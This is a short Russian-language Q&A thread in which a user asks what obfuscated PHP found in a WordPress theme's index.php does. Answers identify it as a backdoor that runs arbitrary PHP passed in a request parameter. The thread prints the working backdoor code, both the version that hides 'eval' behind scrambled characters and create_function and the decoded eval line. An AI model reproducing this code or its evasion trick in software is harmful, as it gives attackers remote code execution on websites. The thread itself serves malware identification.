Что делает данный код на php?

Question

[Валентин Попов]

Обнаружил в файле index.php wordpress темы вот такой код:

<?php
'v1'; $e = ' avel'; $f = create_function('', $e{3}.$e{2}.$e{1}.$e{4} .'( stripslashes( @ $_REQUEST["VpnuvWRdhMsvhcWLUsXt"] ) );' ); $f();

Что это означает?

Comments

[imdeveloper]

это вирус

[edward_freedom]

создается функция, вызывающая stripslashes, обрабатывающая данные с запроса

[Антон Литвиненко]

как хитро, чтобы не найти по eval

Answer 1

[Rsa97]

Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.

eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));